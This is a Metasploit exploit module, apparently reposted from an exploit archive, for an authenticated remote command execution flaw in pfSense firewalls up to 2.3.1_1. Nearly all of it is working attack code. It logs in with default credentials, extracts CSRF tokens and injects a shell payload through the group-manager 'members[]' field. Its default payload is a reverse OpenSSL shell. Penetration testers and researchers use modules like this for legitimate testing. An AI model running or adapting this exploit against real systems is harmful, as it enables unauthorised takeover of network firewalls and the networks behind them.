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pfSense 2.3.1_1 Remote Command Execution

Posted on 29 November 2017

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense authenticated group member RCE',
'Description' => %q(
pfSense, a free BSD based open source firewall distribution,
version <= 2.3.1_1 contains a remote command execution
vulnerability post authentication in the system_groupmanager.php page.
Verified against 2.2.6 and 2.3.
),
'Author' =>
[
's4squatch', # discovery
'h00die' # module
],
'References' =>
[
[ 'EDB', '43128' ],
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Arch' => [ ARCH_CMD ],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 06 2017'
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
Opt::RPORT(443)
], self.class
)
end

def login
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200

/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_status("CSRF Token for login: #{csrf}")

res = send_request_cgi(
'uri' => '/index.php',
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
if res.code == 302
vprint_status('Successful Authentication')
return res.get_cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return nil
end
end

def detect_version(cookie)
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET',
'cookie' => cookie
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
/Version.+<strong>(?<version>[0-9.-RELEASE]+)[
]?</strong>/m =~ res.body
if version
print_status("pfSense Version Detected: #{version}")
return Gem::Version.new(version)
end
# If the device isn't fully setup, you get stuck at redirects to wizard.php
# however, this does NOT stop exploitation strangely
print_error("pfSens Version Not Detected or wizard still enabled.")
Gem::Version.new('0.0')
end

def check
begin
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
if /Login to pfSense/ =~ res.body
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

def exploit
begin
cookie = login
version = detect_version(cookie)
vprint_good('Login Successful')
res = send_request_cgi(
'uri' => '/system_groupmanager.php',
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'act' => 'new'
}
)

/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_status("CSRF Token for group creation: #{csrf}")

group_name = rand_text_alpha(10)
post_vars = {
'__csrf_magic' => csrf,
'groupname' => group_name,
'description' => '',
'members[]' => "0';#{payload.encoded};'",
'groupid' => '',
'save' => 'Save'
}
if version >= Gem::Version.new('2.3')
post_vars = post_vars.merge('gtype' => 'local')
elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
post_vars = post_vars.merge(
'act' => '',
'gtype' => '',
'privid' => ''
)
end
send_request_cgi(
'uri' => '/system_groupmanager.php',
'method' => 'POST',
'cookie' => cookie,
'vars_post' => post_vars,
'vars_get' => {
'act' => 'edit'
}
)
print_status("Manual removal of group #{group_name} is required.")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end

 

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